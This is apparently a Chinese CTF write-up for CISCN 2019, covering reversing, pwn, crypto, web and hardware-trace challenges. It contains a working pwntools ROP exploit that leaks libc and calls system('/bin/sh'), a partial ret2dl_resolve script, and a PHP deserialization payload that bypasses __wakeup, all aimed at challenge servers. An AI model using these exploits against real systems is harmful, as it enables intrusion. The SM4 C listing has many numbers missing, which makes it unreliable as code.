CISCN 2019 writeup
2024-09-03 18:57:28
划水做了两个pwn和两个逆向......
Re
easyGO
Go语言，输入有Please字样，ida搜索sequence of bytes搜please的hex值找到字符串变量，交叉引用查到主函数是sub_495150，IDA断点动态调试发现直接出现了flag......
bbvvmm
用户名方面，Signsrch搜索特征值发现存在sm4加密，然后一个base64加密（加密算法的元素顺序换了）
题目给了Sm4的key
先使用变种base64解密。然后sm4解密得到用户名badrer12。附sm4解密算法
#include <string.h>
#include <stdio.h>
//#include "sm4.h"
#include "time.h" // Test vector 1
// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// round key and temp computing result:
// rk[ 0] = f12186f9 X[ 0] = 27fad345
// rk[ 1] = 41662b61 X[ 1] = a18b4cb2
// rk[ 2] = 5a6ab19a X[ 2] = 11c1e22a
// rk[ 3] = 7ba92077 X[ 3] = cc13e2ee
// rk[ 4] = 367360f4 X[ 4] = f87c5bd5
// rk[ 5] = 776a0c61 X[ 5] = 33220757
// rk[ 6] = b6bb89b3 X[ 6] = 77f4c297
// rk[ 7] = 24763151 X[ 7] = 7a96f2eb
// rk[ 8] = a520307c X[ 8] = 27dac07f
// rk[ 9] = b7584dbd X[ 9] = 42dd0f19
// rk[10] = c30753ed X[10] = b8a5da02
// rk[11] = 7ee55b57 X[11] = 907127fa
// rk[12] = 6988608c X[12] = 8b952b83
// rk[13] = 30d895b7 X[13] = d42b7c59
// rk[14] = 44ba14af X[14] = 2ffc5831
// rk[15] = 104495a1 X[15] = f69e6888
// rk[16] = d120b428 X[16] = af2432c4
// rk[17] = 73b55fa3 X[17] = ed1ec85e
// rk[18] = cc874966 X[18] = 55a3ba22
// rk[19] = 92244439 X[19] = 124b18aa
// rk[20] = e89e641f X[20] = 6ae7725f
// rk[21] = 98ca015a X[21] = f4cba1f9
// rk[22] = c7159060 X[22] = 1dcdfa10
// rk[23] = 99e1fd2e X[23] = 2ff60603
// rk[24] = b79bd80c X[24] = eff24fdc
// rk[25] = 1d2115b0 X[25] = 6fe46b75
// rk[26] = 0e228aeb X[26] = 893450ad
// rk[27] = f1780c81 X[27] = 7b938f4c
// rk[28] = 428d3654 X[28] = 536e4246
// rk[29] = 62293496 X[29] = 86b3e94f
// rk[30] = 01cf72e5 X[30] = d206965e
// rk[31] = 9124a012 X[31] = 681edf34
// cypher: 68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46
//
// test vector 2
// the same key and plain 1000000 times coumpting
// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// cypher: 59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66 //#include "sm4.h"
//#include <string.h>
//#include <stdio.h> /**
* \file sm4.h
*/
#ifndef XYSSL_SM4_H
#define XYSSL_SM4_H #define SM4_ENCRYPT 1
#define SM4_DECRYPT 0 /**
* \brief SM4 context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[]; /*!< SM4 subkeys */
}
sm4_context; #ifdef __cplusplus
extern "C" {
#endif /**
* \brief SM4 key schedule (128-bit, encryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_enc( sm4_context *ctx, unsigned char key[] ); /**
* \brief SM4 key schedule (128-bit, decryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[] ); /**
* \brief SM4-ECB block encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param input input block
* \param output output block
*/
void sm4_crypt_ecb( sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output); /**
* \brief SM4-CBC buffer encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void sm4_crypt_cbc( sm4_context *ctx,
int mode,
int length,
unsigned char iv[],
unsigned char *input,
unsigned char *output ); #ifdef __cplusplus
}
#endif #endif /* sm4.h */ /*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << ) \
| ( (unsigned long) (b)[(i) + ] << ) \
| ( (unsigned long) (b)[(i) + ] << ) \
| ( (unsigned long) (b)[(i) + ] ); \
}
#endif #ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> ); \
(b)[(i) + ] = (unsigned char) ( (n) >> ); \
(b)[(i) + ] = (unsigned char) ( (n) >> ); \
(b)[(i) + ] = (unsigned char) ( (n) ); \
}
#endif /*
*rotate shift left marco definition
*
*/
#define SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n))) #define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; } /*
* Expanded SM4 S-boxes
/* Sbox table: 8bits input convert to 8 bits output*/ static const unsigned char SboxTable[][] =
{
{0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05},
{0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99},
{0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62},
{0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6},
{0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8},
{0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35},
{0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87},
{0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e},
{0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1},
{0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3},
{0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f},
{0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51},
{0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8},
{0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0},
{0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84},
{0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48}
};
/* System parameter */
static const unsigned long FK[] = {0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc};
/* fixed parameter */
static const unsigned long CK[] =
{
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};
/*
* private function:
* look up in SboxTable and get the related value.
* args: [in] inch: 0x00~0xFF (8 bits unsigned value).
*/
static unsigned char sm4Sbox(unsigned char inch)
{
unsigned char *pTable = (unsigned char *)SboxTable;
unsigned char retVal = (unsigned char)(pTable[inch]);
return retVal;
}
/*
* private F(Lt) function:
* "T algorithm" == "L algorithm" + "t algorithm".
* args: [in] a: a is a 32 bits unsigned value;
* return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
*/
static unsigned long sm4Lt(unsigned long ka)
{
unsigned long bb = ;
unsigned long c = ;
unsigned char a[];
unsigned char b[];
PUT_ULONG_BE(ka,a,)
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
GET_ULONG_BE(bb,b,)
c =bb^(ROTL(bb, ))^(ROTL(bb, ))^(ROTL(bb, ))^(ROTL(bb, ));
return c;
}
/*
* private F function:
* Calculating and getting encryption/decryption contents.
* args: [in] x0: original contents;
* args: [in] x1: original contents;
* args: [in] x2: original contents;
* args: [in] x3: original contents;
* args: [in] rk: encryption/decryption key;
* return the contents of encryption/decryption contents.
*/
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
return (x0^sm4Lt(x1^x2^x3^rk));
}
/* private function:
* Calculating round encryption key.
* args: [in] a: a is a 32 bits unsigned value;
* return: sk[i]: i{0,1,2,3,...31}.
*/
static unsigned long sm4CalciRK(unsigned long ka)
{
unsigned long bb = ;
unsigned long rk = ;
unsigned char a[];
unsigned char b[];
PUT_ULONG_BE(ka,a,)
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
b[] = sm4Sbox(a[]);
GET_ULONG_BE(bb,b,)
rk = bb^(ROTL(bb, ))^(ROTL(bb, ));
return rk;
}
static void sm4_setkey( unsigned long SK[], unsigned char key[] )
{
unsigned long MK[];
unsigned long k[];
unsigned long i = ;
GET_ULONG_BE( MK[], key, );
GET_ULONG_BE( MK[], key, );
GET_ULONG_BE( MK[], key, );
GET_ULONG_BE( MK[], key, );
k[] = MK[]^FK[];
k[] = MK[]^FK[];
k[] = MK[]^FK[];
k[] = MK[]^FK[];
for(; i<; i++)
{
k[i+] = k[i] ^ (sm4CalciRK(k[i+]^k[i+]^k[i+]^CK[i]));
SK[i] = k[i+];
}
}
/*
* SM4 standard one round processing
*
*/
static void sm4_one_round( unsigned long sk[],
unsigned char input[],
unsigned char output[] )
{
unsigned long i = ;
unsigned long ulbuf[];
memset(ulbuf, , sizeof(ulbuf));
GET_ULONG_BE( ulbuf[], input, )
GET_ULONG_BE( ulbuf[], input, )
GET_ULONG_BE( ulbuf[], input, )
GET_ULONG_BE( ulbuf[], input, )
while(i<)
{
ulbuf[i+] = sm4F(ulbuf[i], ulbuf[i+], ulbuf[i+], ulbuf[i+], sk[i]);
// #ifdef _DEBUG
// printf("rk(%02d) = 0x%08x, X(%02d) = 0x%08x \n",i,sk[i], i, ulbuf[i+4] );
// #endif
i++;
}
PUT_ULONG_BE(ulbuf[],output,);
PUT_ULONG_BE(ulbuf[],output,);
PUT_ULONG_BE(ulbuf[],output,);
PUT_ULONG_BE(ulbuf[],output,);
}
/*
* SM4 key schedule (128-bit, encryption)
*/
void sm4_setkey_enc( sm4_context *ctx, unsigned char key[] )
{
ctx->mode = SM4_ENCRYPT;
sm4_setkey( ctx->sk, key );
}
/*
* SM4 key schedule (128-bit, decryption)
*/
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[] )
{
int i;
ctx->mode = SM4_ENCRYPT;
sm4_setkey( ctx->sk, key );
for( i = ; i < ; i ++ )
{
SWAP( ctx->sk[ i ], ctx->sk[ -i] );
}
}
/*
* SM4-ECB block encryption/decryption
*/
void sm4_crypt_ecb( sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output)
{
while( length > )
{
sm4_one_round( ctx->sk, input, output );
input += ;
output += ;
length -= ;
}
}
/*
* SM4-CBC buffer encryption/decryption
*/
void sm4_crypt_cbc( sm4_context *ctx,
int mode,
int length,
unsigned char iv[],
unsigned char *input,
unsigned char *output )
{
int i;
unsigned char temp[];
if( mode == SM4_ENCRYPT )
{
while( length > )
{
for( i = ; i < ; i++ )
output[i] = (unsigned char)( input[i] ^ iv[i] );
sm4_one_round( ctx->sk, output, output );
memcpy( iv, output, );
input += ;
output += ;
length -= ;
}
}
else /* SM4_DECRYPT */
{
while( length > )
{
memcpy( temp, input, );
sm4_one_round( ctx->sk, input, output );
for( i = ; i < ; i++ )
output[i] = (unsigned char)( output[i] ^ iv[i] );
memcpy( iv, temp, );
input += ;
output += ;
length -= ;
}
}
}
int main()
{
unsigned char key[] = {0xDA,0x98,0xF1,0xDA,0x31,0x2A,0xB7,0x53,0xA5,0x70,0x3A,0xB,0xFD,0x29,0xD,0xD6};
unsigned char input[] = {0x33,0x31,0x33,0x32,0x33,0x33,0x33,0x34,0x33,0x35,0x33,0x36,0x33,0x37,0x33,0x38};
unsigned char output[];
unsigned char output1[]={0xEF,0x46,0x8D,0xBA,0xF9,0x85,0xB2,0x50,0x9C,0x9E,0x20,0x0C,0xF3,0x52,0x5A,0xB6}; sm4_context ctx;
unsigned long i;
int a,b,c;
//encrypt standard testing vector
sm4_setkey_enc(&ctx,key);
sm4_crypt_ecb(&ctx,,,input,output);
printf("加密数据:\n");
for(i=;i<;i++)
printf("%02x ", output[i]);
printf("\n");
//decrypt testing //加密秘钥
sm4_setkey_dec(&ctx,key);
printf("解密数据:\n");
sm4_crypt_ecb(&ctx,,,output1,output1);
//printf("key:");
for(i=;i<;i++)
printf("%c", output1[i]);
printf("\n");
//decrypt 1M times testing vector based on standards.
i = ;
a=clock();
sm4_setkey_enc(&ctx,key);
while (i<)
{
sm4_crypt_ecb(&ctx,,,input,input);
i++;
}
b=clock();
c=b-a;
for(i=;i<;i++)
printf("%02x ", input[i]);
printf("\n");
printf("c=%dms\n",c);
sm4_setkey_dec(&ctx,key);
while (i<)
{
sm4_crypt_ecb(&ctx,,,output,output);
i++;
}
for(i=;i<;i++)
printf("%02x ", output[i]);
printf("\n");
return ;
}
Key值在内存中被打印，IDA下断点动态执行dump密码值
得到密码是xyz{|}
因为换行占用字符，使用脚本提交用户名密码
#!/usr/bin/env python
#-*- coding:utf-8 -*
from pwn import *# s=process('./bbvvmm')
s=remote('39.106.224.151',10001)
s.recvuntil('Username:')
s.sendline('badrer12')
s.recvuntil('Password:')
s.send('xyz{|}')
print s.recv()
print s.recv()
Pwn
your_pwn
V4边界可读可写，先泄露libc基址然后构造rop（pop_rdi地址+binsh地址+system地址）覆盖返回地址即可得到flag
#!/usr/bin/env python
#-*- coding:utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.binary='./pwn'
elf=context.binary
libc = elf.libc def leak(offset, change):
s.recvuntil("input index")
s.sendline(str(offset))
s.recvuntil("(hex)")
temp=int(s.recvline(),16)
if temp > 0xff :
temp =temp & 0xff
s.sendline(str(temp))
#print hex(temp)
return temp
def deal(offset, change):
s.recvuntil("input index")
s.sendline(str(offset))
s.recvuntil("(hex)")
temp=int(s.recvline(),16)
if temp > 0xff :
temp =temp & 0xff
s.sendline(str(temp+2))
#print hex(temp)
return temp
def ch(offset,data):
s.recvuntil("input index")
s.sendline(str(offset))
s.recvuntil("(hex)")
temp=int(s.recvline(),16)
s.sendline(str(data))
#print hex(temp)
return temp libc_off=632
libc = ELF('/home/vicen/libc-database/db/libc6_2.23-0ubuntu10_amd64.so') #s=process('./pwn')
#gdb.attach(s,'''b puts''')
s=remote('bdd3dd2bf77c76d516f9e715c96cb1fa.kr-lab.com',57856)
#payload= s.recvuntil('name:')
s.sendline('')
sum=0
for i in range(5,-1,-1):
sum=sum<<8
a=leak(libc_off+i,0)
sum+=a
__libc_start_main=sum-240
print('__libc_start_main:' + hex(__libc_start_main))
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
system = libc.symbols['system']
print('system:' + hex(system))
binsh = next(libc.search('/bin/sh'))
print('binsh_addr:' + hex(binsh))
pop_rdi=0x000d03
deal(345,0)
ch(344,3)
p=binsh
for i in range(0,6):
a=p & 0xff
#print hex(a)
ch(352+i,a)
p=p>>8
print ''
p=system
for i in range(0,6):
a=p & 0xff
ch(360+i,a)
p=p>>8
ch(0,'a')
s.interactive()
baby_pwn
参考https://blog.csdn.net/zszcr/article/details/80011174，32位下利用_dl_runtim_resolve函数
#!/usr/bin/env python
# coding=utf-8
from pwn import*
from roputils import*
#p=process('./pwn')
p=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
context.log_level="debug"
rop=ROP('./pwn')
offset=44
bss_base = rop.section('.bss')
队友题解部分：
Crypto
puzzles
给了4部分题目，依次计算。数学部分用Wolfram Alpha计算就好了，物理题只能手动算。其中Part1为26364809 Part1 26366033 26366621，猜测是等差数列，相差588，应该是26365397，后来发现不对。仔细观察，发现全是素数，盲猜是离26365397最近的素数，为26365399。然后合并答案，过了。
Web
JustSoso
首先盲测有flag.php文件。查看源码，发现有LFI，php://filter读文件，读index.php和hint.php。index.php中禁止我们直接读flag.php，然后可传入payload参数，如果输入的字符串中不包含flag则进行反序列化。hint.php中为具体的类操作，Flag类给出token和token_flag，如果二者相等则显示文件内容，Handle类传入一个类，调用getFlag()方法。
LFI处禁止读flag无法绕过，但反序列化那里可以绕过。parse_url有bug，参考(https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)，parse_url在处理//index.php?.....的URL时会返回False，因此访问的时候要用//index.php访问，同样的file=./hint.php，来造成相对路径。然后进行反序列化。Flag类的getFlag()方法的token_flag会在函数开始时重新赋值，要求token_flag与token相等。可以通过引用来绕过，使得$token_flag=&token，这样token_flag无论如何赋值，二者总是全等，绕过限制。$a=new Flag($file="flag.php");
$a->token_flag=& $a->token;
$b=new Handle($handle=$a);
print((serialize($b)));
还有一个问题，Handle类中的__wakeup()函数会置空传入类的所有属性，需要绕过，通过CVE-2016-7124，反序列化时传入对象数目大于实际数目即可。
这样输出的序列化值即为符合要求的答案。最终payload:http://xxxxxx.ichunqiu.com//index.php?file=./hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"334467d41d5cf21e234465a1530ba647";s:10:"token_flag";R:4;}}。(token可任意赋值)
Misc
24C
百度查找24C，发现24C芯片采用I2C协议。使用Saleae Logic Pro打开文件，使用I2C协议解析，发现部分flag。
查阅文档，发现有部分Write指令出现，Write指令以0xA0为标志，下一位数据为地址。据此解析信号。首先从第0x20（32）位开始写字符串”f163bdf4e}”，然后从0x0（0）位开始写字符串”flag{c46d9e10-e9b5-4d90-a883-41c”，遇到NAK，则停止。然后从0x09（9）位的字符串改为”ac”。合并结果。
USBASP
如图所示配置SPI协议.
然后在Decoded Protocols处读flag。
saleae
按照题目名称下载Saleae Logic Pro，打开数据包，发现一大堆波形图，如图所示解析。
然后将二进制转成ASCII码，再转字符。得到flag。
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